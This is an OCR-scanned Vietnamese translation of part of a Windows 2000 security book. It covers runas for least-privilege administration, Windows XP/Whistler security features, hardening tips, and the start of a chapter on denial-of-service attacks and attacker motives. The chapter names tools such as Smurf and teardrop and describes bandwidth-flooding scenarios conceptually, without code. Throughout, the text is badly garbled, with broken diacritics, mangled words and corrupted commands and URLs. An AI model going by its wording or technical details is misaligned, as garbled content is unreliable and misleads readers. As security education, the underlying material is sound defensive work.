duong nhu khéng bao gior ¢é da thoi gian dé ding nhip nhu mot nguoi st
dung binh thuong. Piéu nay thuc sw nguy hiém trong thé gidi mang may tinh
dang pho bién hién nay. Néu mot Administrator gip phai mot trang Web cé
kha nidng lam hai hay doc mdét thu da dinh dang HTML vo1 né1 dung hoat
dong nhung (embedded active content) (xem Chuong 16), thi nhimg hu hong
c¢é thé 16n hon rat nhiéu so véi khi Joe User mic 161 twong tu trén tram lam
viec doc lap cua minh.

Lénh runas cho phep mo1 nguo1 co thé ding nhip nhu mot nguoi st
dung it ddc quyen va dan leo léen Administrator trén co so per-task. Vi du Joe
duoc dang nhap nhu mot User binh thuong vao hé diéu khién mién qua
Terminal Server, va anh ta bong nhién muon d6i mot trong nhitng mat khau
Domain Admins (co thé mot trong s6 chung chi thoat kho1 canh gitra thao tac).
That khong may, anh ta tham chi khong thé khéi dong duoc Active Directory
Users And Computers nhuw mdt nguoi st dung binh thuong cho phép thay doi
m6t minh Domain Admin password. Runas dén ctru gitp. Sau day la nhitng gi
anh ta lam:



1. Nhap Start / Run va sau d6 g8 Enter

Runas fuser mydomain‘\administrator “mmc
%windir%)\system32\dsa. msc”

2. Nhap mat khau Administrator.

3. Khi Active Directory Users And Computers duoc khoir dong
(dsa.mmc), anh ta c6 thé d6i mat khau Administrator vao bat ctr luc nao,
nhd dic quyén clia chuong muc mydomain\Administrator.

4. Sau do anh ta thoat Active Directory Users And Computers va tr&
la1 binh thuwong nhu mot nguoi1 st dung binh thuong.

Anh Joe cua chung ta vira tr minh thoat kho1 sw ruom ra Khi phai déang Xuat
Terminal Server, va sau do lai (iang nhap nhu Adminstrator, dang }{uat mot lan nita, va
lai dang nhap tré lai nhu mot nguoi si dung binh thuong. It dac quyen quyét dinh ngay
hom do.

Mt trong nhiéu vi du trudc day vé ngudi st dung thong minh khi dung
runas s€ chay mot trinh duyét web hay mot trinh doc mail nhu mot nguo su
dung it déc quvén Tuy nhién, day la no1 runas do1 hor su kheo leo nhu mot
mach kha dai vé danh séch dia chi thu NTBugtraq duoc viét chi tiét vao cum
thang 3/2000 (vao http://www.ntbugtrag.com). Nhitng nguoi tham gia déu cb
gang tim ra chinh xac nhitng dac quyen nao s€ hoat dong khi mot URL duoc
go1 ra trong cua s6 tim klem trong mot he thﬂng véi nhiéu cua s6 m&, bao
gcmm mot so vo1 dac quven runas /u:Administrator. Mot go1 y dé ra 1a dic mot
161 tit vao trinh tim kiém nay (dé thu nho) trong nhom Startup dé no ludn
duoc khor dong vor dac quyeén nho nhat. Tuy nhién mot tu cud1 cung khi su
dung runas theo cach nay la véi nhitng tmg dung khéi dong thong qua trao doi
dit liéu dong (DDE), nhu IE, thong tin biao mat quan trong duoc thira ké tu
qua trinh xu ly (me) tao lap. Vl vay, runas thuc sw chua bao gi0 tao ra nhu'ng
xu ly can thiét cho viéc diéu khién hyperlinks, embedded Word docs, va rat
nhiéu thir khac nita. Tao 1ap x&r I¥ me khac biét bdi chuong trinh, vi vay rat
kho dé xac dinh quyén s& hitu thuc su. Co thé hing Microsoft mot ngay nao
do s€ phan biét duoc lieu day co thuc su la mot thao tac bao mat tot hon viéce
ding xuAt tit ca cac clra s& Administrator dé thuc hién trinh tim kiém.

Runas khong phai 1a mdt vién dan biang bac. Khi duoc chi ra trong
chudi Bugtraq, né “s& gidm di mot s6 moi nguy hiém nay, nhung lai tao ra mot
s6 nguy hiém khac” (Jeff Schmidt). Hay st dung runas thit khon khéo.

LOI KHUYEN: Giit phim SHIFT khi nhap phai chudt vio mot tile trong
Windows 2000 Explorer — moét tuy chon goi la Run As bay gio s€ xuat hién
trong trinh don mod1 truong.



TUONG LAI CUA WINDOWS 2000

Trong phan nay ching toi s& dé cap dén tuong lai phia trwroc cua mot vai cong nghé mol
co lién quan to1 bao mat. Cong nghé nay sé€ dinh dang nén Windows 2000 khi no tien
1én trong nhitng nam sap toi. Dic biét ching t6i s& xem xét nhitng budc phat trién sau:

V¥V NET Framework
A Windows XP / Codename Whistler.

NET FRAMEWORK

HET Framework (NET FX) cla harug Mcrosoft chira dung mot md ‘mrmg cho xdy dung, trién khai, va chay Neb Services va cac
img dung khac. Ban khdng nén boi roi trede NET Inttiative toan the clia Microsoft, NET Inttiative toan thé nay lién quan dén
nhitng céng nghé tuan thi theo thudt nglr thing dung nhw XML, Simple Object Access Protocol (SOAP), va Universal Discovery,
Description and Intergration (UDDI). NET Framework 14 mét phan quan trong clia sang kién do, nhung noé thue su 12 nén cong
nghé khac biét hin so v tong thé tim nhin NET ciia mat méy tinh ci nhin nhuir mat “ 6 cim cho cac dich vu”

Thuc ra nhiéu nguoi goi NET Framework 1a mdt su canh tranh tinh
nang vi tinh ning d61 véi méi truomg 1ap trinh Java va céac dich vu lién quan
cua Sun Microsystem. RS rang day la mot su chuyen d61 mang tinh dot pha
cho Microsoft. Budc chuyén nay hD tro su phat trién va moi truong thuc hién
hoan toan khac biet vol co so truyen thong ctia thé gidi Windows, Win32 API
va NT Service. Gi6ong nhu viéc cit gidm bét trach nhiém cia cong ty dé giao
pho tit ca cac san pham vdi mang Internet méi ra doi vao gitta nhitng nim
1990, NET Framework chinh la khoi diém quan trong d6i véi Microsoft. N6
c6 thé duoc gan ghép phn bién vao nhing cong nghé khac cua Microsoft trong
twong lai. Hiéu duoc trién vong cla hudng di mdéi nay la rat can thiét ddi véi
nhitng ai c¢é trach nhiém dua cdng nghé clia Microsoft tién budc trong twong
la1.

Xem Hacking Exposed Windows 2000 (Osborne/McGraw-Hill, 2001)
dé biét thém chi tiét ve .NET Framework.

CODENAME WHISTLER

M>bi chuong trong bao mit Windows 2000 s& 1a chua dd néu nhu thieu su
kiém tra nhitng tinh ning bao mit méi duoc du dinh trong phién OS sip toi.
Ké tr khi bai viét nay dén tay cac ban, Release Candidate 1 (RC1) cho
Condename Whistler da duoc tung ra, vi vay su phan tich toan dién vé tinh
niang nay la mot buoc di truoc. Tuy nhién, ching ta s€ di khao sat khai quat
tinh ning nay va ding nhitng an twong ban dau cia ching ta & day.



Phien Ban Whistler

Thé hé tiép theo clia Windows hién duoc chia thanh SKU (Shop Keeper
Units, do 1a chi danh ID) khach va chu. Nhitng phién ban may khach duoc goi
la Windows XP va bao gém ban lam viéc Professional Edition (Windows XP
Pro), Home Edition vo1 dich la SOHO/khach hang, va Windows XP 64-bit
Edition tmg dung dic biét dau trén. Nhitng phién ban chu sé co thé mang tén
NET Server (mac du chung van duoc dé cap dén v4i cai tén codename
Whistler) va s€ co thé bao gom ca nhitng dac tinh cua Server cli va Advanced
Server. Sau day la tom luoc:

V¥ May khach

B Windows XP Professional (ban lam viéc)
B Windows XP Home Edition (khach hang)
B Windows XP 64-bit Edition (itng dung thuc thi cao)

AMNay chu

B NET Server (Whistler)

@z RY Windows XP Home Edition duoc dé cap trong Chuong 4.

Internet Connection Firewall (Twéng bdo vé két néi Internet)

Internet Connection Firewall (ICF) c6 thé la tinh ning bao mat dé nhan thdy nhdt do né
gan lien trén hé dieu hanh OS moi. ICF dira ra cac tinh nang trich loc goi tin cho phép sir
dung mang hirong ra mé nhung van khoa tinh néing két néi hiréng vao.

Software Restriction Policies (cac chinh sach han ché

A A
phan mem)
Software Restriction Policies cua Windows XP la buoc tien tiep theo cta hang Microsoft
trong cudc chién ma nghich, két hop mot vai dic tinh llen,g biét ciia hé didu hanh trude
thanh mot thé thong nhat chéng lai ma nguy hiém nhu virus 14y qua duong thu dién tit.

Built-in Wireless Networing Authentication and Encytion (Tinh ning ma
ho4 va xdc dinh mang khong day duoc cai diit san)

Secure / Ethernet LAN trong Windows XP thue hien chirc nang an ninh cho ca mang LAN
khong day va co day dwa trén tinh nang dac ta IEEE 802.11. Luuy Tang mang LAN phai
thue hién hidu qua diéu khién truy xuat doi voi tinh nang nay; nhlmg ba:ng cach gan ho tro

vao Windows, Microsoft da tim cach lam cho OS ¢o the tham gia vao mai truong an ninh
nay duoc de dang va muinh bach hon.

JELORY M6t sO cude tin cong co thé pha v nhiing dac tinh bao mat 8§02.11
hien hanh. Xem chuong 14 dé biét thém chi tiét.



MS Passport Single Login Tich Hop cho mang Internet

Trong Windows XP, nhitng giao thirc xac dinh Passport dd duoc thém
vao Winlnet (Winlnet la DLL c¢é chic ning quan 1y kha ning két ndi
Internet). HO6 chiéu la giai phap ding nhip don ciia Microsoft vao Internet.
Cac chuong muc d6i twong s& dung duwoc luu trong nhitng may chd chay
chuong trinh Microsoft, va khi da duoc xac thuc gia tr1 cho dich vu, mot thiét
bi chong g1a mao duoc thiét 1ap trén may cua d6i twong sur dung trong mot
thoi gian nhat dinh. Thiét bi nay co thé duoc st dung dé truy cap cac trang
khac c6 ndi dung ho tro luoc do xac thuc gia tri HO chiéu.

Bién phap quan Iy cuc bé va nhom maoi

C6 mot sb thiét 1ap mdi cé thé duoc dinh cau hinh thﬂng qua Bién Phap
Quan Ly Cuc B6 Va Nhom cua Windows XP/Whustler, bao gom mot thiét 1ap
diéu khién murc d6 thiéu hut gla tr1 phure tap cia LAN Manager.

Ngoai nhiéu thiét 1ap mdi c6 thé duoc dinh cau hinh, Whistler cling dua
ra mot bo sung mdi cho Bién Phap Quan Ly Nhém cé tén Resultant Set of
Policy (RSOP). RSOP thuc hién kha nhiéu chirc ning. RSOP c6 chirc ning
truy ho1 nhiing g1ao diém gitta nhiing d6i twong Quan ly nhom ap dung ta1 cac
cap do trong thu muc (vung, mieén, hay OU) va tro ve thiét 1ap quan ly hieu
qua. Kiém tra thi tu quan 1y theo cach nay cé thé cong viée g& roi trd nén dé
dang hon. RSOP duoc thuc hien nho cong cu gpresult dong [énh.

Quan Ly Uy Quyén (Credential Management)

Béc tinh Quan Ly Sy Uy Nhiém cung cap mot noi luu gift bao mét cia
su uy nhiém cho d6i tuong st dung, bao gobm mat khau va nhiing x4c nhin
chimg thuc X.509. Xac nhan nay cung cap mot phuong thitc ding nhap don
nhit quan cho ngudi st dung, bao gom nhiing d6i twong st dung tu do, thong
qua viéc cho phép ho dé dang truy cip nho thuong xuyén st dung su uy
nhiém mot cach rd rang.

Tao cho nguoi sit dung dé dang hon khi phuc hoi mat khau tai nhitng hé
théng khac va luu chung trong mot noi doc lap, diéu nay duong nhu khong
phai la mot y kién hay cho chung ta. Tat nhién, Windows c6 thé tu dong luu
SU uy quy én qua lon ngay hom nay trong mot vai noi rleng bigt (mat khau cua
mot trang Web qua IE, mat khau chuong muc quay so, mat khau dang nhap
mién ta1 LSA.. ), vivay co thé mot no1 chira hay mot API tap trung cho viéc
luu trit duoc bao mat nhitng thong tin trén la mot su tién bod dang ké. Chung ta
sé€ duoc thﬁy sau.

Kich Hoat Sdn Pham Windows

Mic du khéng chi don thuan 1a mét dic tinh bdo mat theo quan diém
cua khach hang cua Microsoft, Kich Hoat San Pham Windows (WPA) con co



thé duoc nhin nhan nhu mot bién phap bao mat rat quan trong theo quan diém
cua Microsoft. Trong bat ky trwong hop nao, WPA van tao mot chuyén bién
quyét dinh trong qué trinh phat triéen Windows — trir mot ngoai 18 nhu‘ng phién
ban Volume Licensed (VL), mo1 SKU khach cua Windows s€ co thé can duoc
kich hoat thong qua dudng vién thong hay Internet.

Qudn Ly Va Diéu Khién Tir Xa

Windows XP/Whistler c6 hai tinh ning diéu khién tir xa duoc xiy dung
dua trén k§ thuat SO. Nhitng dic tinh nay dwoc quan Iy biang System Control
Panel/Remote tab. Dau tién la Remote Assitance (tro gitip tir xa), sé duoc thao

luan ta1 Chuong 14. ‘ | |

Ban thwt hai, may tinh dé ban tir Xa, la may chu d_éiu cuol cho he dieu hanh Windows XP.
(No khong co san trong phién ban gc:c) NoO cung cap su ciang nhap lan nhau ti xa vao vo he
dieu hanh Windows XP thong qua giao thuie may tinh dé ban tir xa (RDP), chi giong nhu
may chu dau cudi. RDP sit dung TCP 3389 ma sé ¢ trong cac may cung voi may tinh dé
ban tir xa co kha nang Tai lidu hién hanh cia Microsoft dé ngh,l mot khlmg canh thong
dung dé st dung cac may tinh dé ban fir xa: mot nhan vién ctia cong ty co thé thiet 1ap tir xa
vao tram lam viec O ¢o quan cua anh ta hay ¢o ta va sau do két noi toi cac hé thnng vao ban

dém tir nha dé sap xeép mot vai tac vu chua hoan thanh Chlulg ta ngha ngal nhiéu su an toan
ctia nha quan tri luéon mo mong hio huyen khi né ¢ thé trén cac mang cia ho.

Chuan Plug and Play pho bién

Hé diéu hanh Windows XP/ Whistler thém su hd tro lua chon cho chuan Plug
and Play (cim vao la chay) chung, ma la mét chuan cai tién cho su kham pha
cac thiét bi chung va su nhan dang thong qua cac mang. Burc tranh r0 ret Ve
may tinh cua ban luén qua mang va dinh dang bat ky mot may in nao, dung
lwong cua chung, v.v.. T4t nhién, qua trinh kham phé nay la mot duong hai
chiéu, va nhiéu thiét bi khac cling co thé luom lit thong tin vé hé thong cuia
ban thong qua UpnP. Loai do giong nhu la SNMP cung vo1 suw kham pha tu
dong va khong c6 xac nhan (trong khuynh huong dic trung). Néu dich vu
UpnP diéu khién bing tay duoc lip dit( th-:jng qua chuong trinh thém vao /di
chuyén/ bd phan Window/ cac dich vu mang’ thiét bi Plug and Play), va dich
vu ma:y chu thiét b1 UpnP co the:, he thﬂng s€ nghe trén TCP 2869. Dich vu
nay ho1 dap to1 nhitng cau lenh HTTP dac biét. Giao thuc kham pha dich vu
don gian (SSDP) ciing duoc thiét 1ap va nghe thong qua nhiéu IP.Theo ¥ kién
cia chung t6i, UpnP cé thé thém vao su xac thuc trong phién ban 2 cua giao
thirc, va dén luc 4y Microsoft nén dua no ra.

- PoE A . A = ~ 5 s ~ A A E ; #
Mot chu y ve nhiing 0 cam tho va nhitng yeu cau khong co can cu khac

Nhiéu yeu cau thoi phnng Ve su an toan cua Window XP/ Whustler da dién ra timg ngay, va
cang nhieu dam bao s& duwoc lam tot hon sau khi cong bo. Tuy dugc lam bo1 Microsoft,
nhitng dieu ho tro no, hay nhiéu nguoi chi trich no, la nhiing yeu cau sé chi b1 tieu tan bot
thoi gian va su kiém chung trong nhitng hoan canh cta thé gioi thuc. Gan day, nguoi hay



cham choc su an foan Steve Gibson dwa ra mot quyét doan gay xon xao du luan rang
Window XP khu}'en khich giao dien chuong trinh duoc goi la n.lumg 6 cam thod 5€ dan dén
dia chi mang m¢ rong lira bip va dich vu tir choi nhiing cuoc xam nhap trén néen nhing
cong nghe nhu vay. Chung ta s€ dua mo1 nguoi tru tich cuor cung tren quyet doan nay rang
vi tr1 cua chung ta s& duoc ket luan trén su an toan cia Window.

Hau hét nhitng su quan cao “khong an toan” vé nhitng két qua Window
tir nhitmg 161 chung d3 ton tai trén nhiéu céng nghé khac va trong mot thoi
gian dai. N6 chi toi té duy nhat bdi sw phat trién mé rong ciia Window. Neu
ban chon st dung dién dan Window cho nhiéu 1y do rang no qua phc:n bién ( dé
su dung, thich hop, v..v..), ban s€ chiu ganh nang ve su hiéu biét vé cach tao
no an toan va g1t dugc no nhu thé nao. Hy vong rang ban cam thay tu tin voi

kién thire thu duoc tur quyen sach nay . Chuc may man !

Tfing két ‘ ’

Vo1 su khac thirong vé su khai thac cua I1S5, Windows 2000 da chi ra dugc su tien
bo thong qua NT4 trong tung giai doan cua toan bo su an toan. Them vao nhitng dac trung
an toan mdi nhw la ITPSec va mot chinh sach an toan da phan bo chinh xéac cling giup tang
tro ngai cho nhitng ké xam nhap va giam ganh nang cho nha quan ly. Pay la mot vai meo
an toan da bién dich fir su thao Iuan cua chung ta trong chuwong nay va chuong 5 vé NT, va
tir mot lua chon vé nhitng ngudn an toan nhat cua Window 2000 trén mang Internet:

¥ Kiém tra sy xam nhap nguy hiem va{:} Window 2000 de hoan thanh sy bao vé
an toan cho Window 2000 tu dau dén cudi. Quyén sach do bao quat va mo rong
thong tin da de cap trt::-ng cuon sach nay dé phat hanh két qua phan tich an toan toan
dién cua Microsoft vé vi tri hé dieéu hanh va nhu:ng phién ban tuwong lai.

m Nhin vao ba tc:-ng ket tu chucmg 5 de kmm tra danh sach vach ranh gio1 to1 NT
vimg chac. Hau hét, néu tat ca nhung thong so na}f khong ng dung cho Window
2000. ( Tuy nhuen, mot vai trong so chung co thé trong mat vai phan maéi cta Ul -
cu thé Nhomdoi tuong chinh sach « Cau hinh may tinh\ Cai dat Window?\ Cai dat an
toan\ Nhitng chinh sach cuc bo\ Nhitng lira chon an toan”. .

m Su dung danh sach an toan dugc Microsoft cung cap co san tai http //
www.microsoft.com/security. Cung dua ra cong cu cau hinh [IS5 cho phep nguor su
dung dinh ra khuén mau trén nén tang nhitng bai thue hanh tot duoc tao va duoce
ung dung cho cac May chu thong tin mang Internet Window 2000

] Xem http://
www.microsoft.com/TechNet/prodtechnol/sql/maintain/security/sql2ksec. Asp,
thong tin vé su an toan SQL Server 2000 tren Window 2000, va xem http://
www.sglsecurity.com thong tin chi tiet ve tinh dé gay nguy hiém nhat trén SQL
Cung vay, st xam nhap nguy hiém vao Window 2000 bao gom toan bo r:hm::mg nay
vé nhiing cudc xam nhap SQL va nhimg bién phap doi pho tat ca cac nguon.

m Nho 1ang cap hé dieu hanh (OS) co thé khﬂng phai 1a noi mot hé thong sé bi tan
cnng Cap lmg dung nay luon xa sw nguy hiém hon - dic biét s Iuén dai, khnng co
quoc tich, cac ung dung trén nén trang web. Thuce luén s chuyén can cua ban tai
cap OS su dlm,g thong tin d cung cap trong chwong nay, nhung tiéu diem cao va
chu yéu bao v¢ toan bo lcsp ung dung.

m No co the nghe rat au tii, nhung dam bao ban -:?Iang trien khai mot phlen ban cap
cao cua Window 2000. May chu va nhiing san pham May chu tién tién dua ra mot
s0 luong 16n nhiing dich vu (déc biét khi ¢6 cau hinh nhuw 1a bo diéu khién mién thu




muc chu dﬂng ) va nen dugc bao ve chat ché tranh khor nhiing mang khong tin cay,
nhiing nguo1 su dung va bat ky cai gi ban van con mo ho.

m Sqr dung toi thiéu bang su an toan cao: neu khong co cai gi ton tai dé xam nhap,
nhitng ké xam nhap s& khong c6 cach nao dé dot nhap dwoc. Su dung dich vu .msc
gay mat kha ning hoat dong nhimg dich vu khn:mg can ﬂuat Nhiing dich vu can
thiét con la1, dinh hlnl} ching mot cach an toan; vi du, cau hinh dich vu DSN cua
Windows 2000 han che vung chuyén dich to1 céc méy chu chuyén biét.

m Néu tai liéu va cac dich vu in khong can thiét, vo hiéu kha nang hoat dong cua
NetBIOS qua TCP/IP bang cach mé Man,g va Quay s0 ket noi va chon Advanced\
Advanced Settings va huy lwa chon File va Printer Sharing For Microsoft Networks
cho mai thiet bi dieu hop ma ban muon bao ve, da minh hoa trong hinh 6-1 ¢ dau
chuong nay. Nhing cai con lai la nhitng cach tot nhat dé cau hinh nén giao dién bén
ngoai may chi két noéi mang Internet.

m St dung mang loc TCP/IP va nhiing mang loc IPSec moi (da miéu ta trong
chuong nay) dé khoa truy -:ap toi bat ky mot cong nghe nao khac ngoai trir chic
nang hoan toan can thiét toi thiéu.

m Bao vé cac giao dién Internet cua may chu vé tuong Itra hay nhiing 16i di duoc
trang bi @& han ché nhitg cudc xam nhap dich vu tir choi nhw 1a dong li SYN va
nhiing con bao pha v& IP. Théem vao do, nhung buoc dua ra trong chuwong nay lam
vimg manh Windows 2000 chong lai tiéu chuan IP dya tren nhitng cuoc xam nhap
DoS, va dat duoc su tron 1an thich hop dé néi tam IP khong lién quan dén nhitng 15i
may tinh. :

m Giit cap nhap vdi toan bo nhitng géi dich vu gan day va nhitng su noi an toan.
Xem http:// www.microsoft.com/security dé xem bang tin danh sach cap nhap.

m Han ché nhitng dic quyen dang nhap tuong tac dé dimg nhitng cudc xam nhap
manh dac quyen ( giong nhwr dich vu tén la du doan trudc duong ong va cac van de
tram windc:-ws) truoc klu chung bat dau.

w Bat ké khi nao co thé, thoat khoi kh vue May chi dau cuoi hon la chi ngat ket
noi tir chung dé khong doi nhitng khu vic mé cho nhitng nha quan 1y déu xam
nhap vao.

m  Su dung nhitng cong cu mo1 nhw Chinh sach Nhom ( gpedit. msc) va Cau hinh
an toan va su Phan tich cong cu theo khuon mau truyén thong déa tro gitp tao va
xdy dung nhimg cau hinh an toan thong suot moi truong Windows 2000 cu ban.

m Tuan theo mot chinh sach manh vé su an toan vat ly d bao vé chong lai nhing
cudc xam nhap ngoai tuyén chong lai SAM va EFS duoc minh hoa trong chm::rng
nay. Su thue thh SYSKEY frong chée do mat khau hay dia mém duoc bao Ve de tao
ra nhitng cudc xam nhap nay kho hon. Giit nhiing 1na}r chu Iﬂlay an toan ve mat vat
ly, dat mat khau BIOS de bao vé su nap tuan tu, va xoa ha‘j,r v6 hiéu hoa 6 dia mém
va xoa cac thiet bi truyén thong ma c6 thé nap hé thﬂng de thay doi OSes.

m Theo * Best Practices for Using EFS” tim tha},f trong Windows 2000 trg giup
cac tap tin, dé thuc thi s ma hoa mic thw muc rong cho nhiéu nguoi st dung du
lidu khi co the, dic biét cho nhitng ngudi sit dung may tinh xach tay. Dam bao xuat
khau va sau d6 xoa su sao cheép cuc bo su phuc hoi khoa chi nhanh dé cac biéu
twong EFS da m@ hoa klmng de bi nguy hiém doi véi cac cude xam nhap ngoai
tuyén ma lam ton hai Nha quan ly phuc ho1 chimng nhan.

m Thue bao to1 danh sach go1 NTBugtraq ( http:// www.ntbugtrag.com) de gitt
vlmg nhitng thao luan hién hanh trong sw an toan cia NT 2000. Néu khoi Iwrong lvu
chuyén trén danh sach tré nén vitng vang cho mot vai ranh, thay doi su mo ta cau
ban téi cac dang dién bao, ma trong do mot dién bao cta tat ca nhimmg tin nhan quan




trong duoc dwa ra dinh ky con dugc mong dm Pé nhan danh sach thu dang dien
bao trong mang NT an toan, gin mot tin nhan to1 histserv@lhistserv.ntbugtraq.com
cung voi “dat dién bao NT an toan” trong doan giita cua tin nhan. ( ban khong can
mot tuyen doi tuong) .
A Danh sach thu dién tir cia Win2KsecAdvice taih http:// www.ntsecurity.net ma giong
hét NTBugtraq, thinh thoang c¢6 nd1 dung danh sach NTBugtraq sot. No cling co mot phien
ban dién bao thuan tién.




CHUONG 12
PHU NHAN TAN CONG DICH VU (DOS)

Smurf, Fraggh: bomk va teardrop. Khong chung ta khong no1 vé nhiing thu
d6 udng cua tre con ¢ day ma ta dang ban ﬂ‘en mot s6 cong cu ma ke tan cong
da su dung dé tan pha va pha hoai khung khlep mang Internet tmng sudt mot
vai nam tro lai day. Phu nhén cac cuuc tan cong dich vu (DoS) ngén cua cac
doanh nghiép dén hang tridu dé la moi nam va 1a moi nguy nghiém trong tor
bat ky hé thc:mg hay mang nao. Nhitng chi phi nay lién quan dén thaifgian chét
cua hé thﬂng mat lo1 nhuan, va nhiing lao dong lién quan dén VIEe Xac dmh va
phan tmg trwée nhitng cudo tan céng nhu vay. Chac chan 1a mot. VU tah cong
DoS sé pha v& hay hoan toan phu nhan dich vu trwde nhitng ngurm sir dung,
mang, h¢ thong hop phap hay nhirng ngudn lue khac. Y dmh cua bat ky mot
vu tan c6ng nao nhw vay thuong rat nham h1em va thu'émg hau nhu ching can
phai mat nhiéu k§ nang vi nhiing cong cu cén thiét deu da'san co.

Nhiéu vu tan cong trong sudt nhiéu nam da' xuat hién trén cac tit bao, ké
ca nhitng vu thn cong vao Yahoo, eBay, Buy.eom, CNN.com, E*TRADE,
ZDNet, va PANIX, d6 méi chi 1a mét s6 tidwbiéu. Nhiing vu tan cong nay da
khién cho ho khong hoat déng dwoc lrung mot thoi glan ngan. Nhimg vu tan
céng nay da duoc nhanh chéng x4€.dinh 1a cac vu tan céng phii nhan dich vu
co phan phdi (DDoS) vi tinh tan b.gm cua chung di qua ca gidi han cia DoS
dién hinh.

Viée dé 16 dang sQ nh&t o hau hét nhitng cudc tan cong nay la ching
dang khai thac nhimg yéu di€m cn hiru ¢ giao thwre chinh cua mang Internet
(TCP/IP). Cu thé hon nhﬁng vu thn cong nay tap trung vao mot yéu diém theo
cach cac hé thnng xily nhitng yéu cau SYN. Tinh hunng nay tram trong hon
vi ké tan cong gia mao nhitng dia chi ngu-::m cua minh dé che lap nhan dang
cua minh. Do vay ma vu tan cong nay va nhiéu vu tan cong khac tlep do da rat
kho ¢6 thigndo la1 nhitng ké xam nhap thue su. Piéu nay da c6 anh hwong sau
sac dén cong Wdong Internet va di nhan manh tinh dé do v& clia mang [nternet.
Maic du'vu tan cnng nay da duogc no1 dén nhiéu nam trudc nhung nhiing méi
hiém hoa cua viec thuc hién thwong mai trong Thor dai Thong tin théat xot xa
khi phai néi rang chiing da thanh hién thue.

DONG CO CUA NHUNG KE TAN CONG DOS

Xuyén sudt cudn sach nay chung ta da ban dén va chimg minh dwoc nhiéu
cong cu va ky thuat ma k¢ tan cong st dung dé pha hoat an ninh cua nhitng hé
théng muc tidu. Thuong thi an ninh cia mét he thong hay mot mang muc tiéu
sé can trd mot ké tan cong khong chuyén nghiép. Cam thay tirc gian hay vo



dung ké tan cdng sé& dung dén phuong thirc tan cong DoS nhu 1a bién phép tin
cdng cudi cung.

Ngﬂal dﬂng co chinh la su torc gian th1 mot ca nhan don lé co thé cé
nhitng mo1 thu ca nhan hay chinh tr1 trusc mot a1 do hay mot td chirc nao do.
Nhiéu chuyén gia an ninh tin ring nhitng loai hinh tan cong nay sé& ting 1én do

su tang nhanh cua cac he thmng Windows NT/95/98. Mo truong Windows la
muc tiéu wa thich cia nhle:u ké tan cong. Ngoai ra nhiéu cong cu DoS bay gio
la “chi va nhip chudt” va hau nhu 1a khong doi héi k¥ ning vé k¥ thuit méi cé
thé cho chay duoc.

Mic du hau het cac cudc tin cong lien quan dén nhiing diém d3 duoc dé
cap tu truoc thi mot sO treong hop do1 ho1 ke tan cong phai thue hien cac cudc
tan céng DoS nhim lam ton thuong mot he thmng yeu. Do hau hét cac quan tri
vien he th{:}ng Windows NT déu x4t xa nhin tha‘,f nén can thiét phai kho1 dong
lai mbt hé thong NT trude khi hau hét nhitng thay doi duoc cho phep. Do vay
sau khi thuc hién mﬂt thay d61 véi mot hé thc-ng NT c:ap cac dac quyen hanh
chinh thi viéc ké tan C{:}ng pha huy he thl:}ng cé thé 1a can thiét yéu cau khéi
dong lai hé thong béi quan tr1 vién hé théng. Trong khi hanh dong nay thu
hut sw cht ¥ cta server yéu va tiém tang la ctia nhitng ké tan cong thi hau hét
cic quan tri vién bo qua vu pha huy va vui mimg khai dong lai hé thong ma
khong nghi sau xa hon.

Trong khi chung ta khong thé ban vé moi déng co cé thé hiéu duoc
ding sau viéc tién hanh mot vu tan cong DosS thi s€ la cong bing khi néi ring
khong gian may tinh dong hanh véi cuoc song thuc. Mot s6 nguo1 thich doc ac
va cdm thdy manh mé vdi cdm gidc vé stitc manh tir nhitng vu tin cong DosS.
That mia mai vi hau hét nhiig hacker chuyén nghiép lai ghét nhimng vu tan
cong DoS va nhiing ké tién hanh nhitng vu tan coéng do.

CAC LOAI HINH TAN CONG DOS

That khong may khi cac cudc tan cdng DoS d3 trd thanh thir vii khi du trit ma
nhitng ké khing bé mang may tinh c6 thé lwa chon khi ching ta budc vao
thién nién ky dién ttr mo1. Thuong viéc pha v& hoat dong ctia mot mang hay
hé thong d& dang hon nhiéu so véi viée thuc su c¢é duoc quyén truy nhép.
Nhitng giao thitc 14p mang nhu TCP/IP duoc thiét ké dé duoc st dung trong
mot cdng dong mé va duoc uy thac, va nhiing hién than hién ta1 cua phién ban
4 clia giao thitc d3 co6 nhiing sai lam c¢6 hitu. Hon nita, nhiéu hé dmu hanh va
cac dung cu mang dd co nhiling nhugc diém trong cac ngédn XEép mang cuia
minh d3 lam yéu di kha ning chdng lai cic cudc tin cdng DosS. Chung ta da
chung kién mét vai dung cu xt Iy-kiém soat vdi nhiing ngan xép IP so c’[ang
ban dau bi v& vun ra tir mot ICMP don gian doi huong vo1 mot thong so
khéng hop 1é. Trong khi da c6 sin nhitng cong cu dé tién hanh cac cudc tin
cong DoS thi viec xac dinh nhitng loa1 hinh ma co nhleu kha nang ban gap
phai va phai hiéu cach do va phong tranh nhitng cudc tan céng nay la diéu rat



quan trong. Trudc hét chung ta s& kham pha 1y thuyét ding sau bon loai hinh
tan cong DoS pho bién.

Tieéu thu Dai thong
Nhing dang tan céng DoS xao quyét nhat dé 1a cac vu tan cdng tiéu thu ddi
thong. K& tan cong nhat thict s& phai tiéu thu moi dai théng sdn c6 tdi mot
mang cu thé. Piéu nay co thé xay ra trén mot mang no1 bo, nhung viéc ke tan
cong tieu thu nhiing ngudn luc tir xa 1a diéu phd bién hon nhiéu. Cé hai kich
ban tan cong co ban.

Kich ban 1

Ké tan cong c6 thé tran vao két ndi mang cla nan nhan béi vi nhitng ké tin
cong da co dai thong co san hon. Kich ban co nhiéu kha ning d6 la mét ai d6
co mot T1 (1.544-Mbps) hodc két noi mang nhanh hon tran ngap mot lién két
mang Sﬁ-ths hoac 128-Kbps. Bleu nay tm:mg duong volr mot chiéc xe c¢o
nhiéu doan ndi nhau bing khép mém déo dé dé quay c6 dau bat 1én bing mot
lang kinh GEO-phuong tién lon hon, hay trong truong hop nay la mot ong
nuoc lon hon, SAp sua thang tran nay. Kiéu tin céng nay kh{:-ng b1 han ché vao
cac két nodi mang toc do thap. Chung ta di thay nhimg vi du ma ké tan cong co
thé glanh quyeén truy nhap vao cac mang c¢o hon 100 Mbps dai thong sdn co.
Keé tan cdng d3 c6 thé tién hanh céac cudc tn cong DoS vao nhitng chd c¢é céc
két ndi T1, hoan toan 1am bio hoa lién két mang cua nan nhan.

Kich ban 2

Ké tan cong md réng vu tan cong DoS cla minh bing cach chiém nhiéu chd
dé tran vao két ndi mang cua nan nhan. Mot nguo1 nao do chi co mot lien két
mang 56-Kbps c6 thé lam bdo hoa hoan toan mot mang véi truy nhap T3 (45-
Mbps). Lam sao la1 co thé nhu vay duoc? Bﬁing cach st dung nhiing chd khac
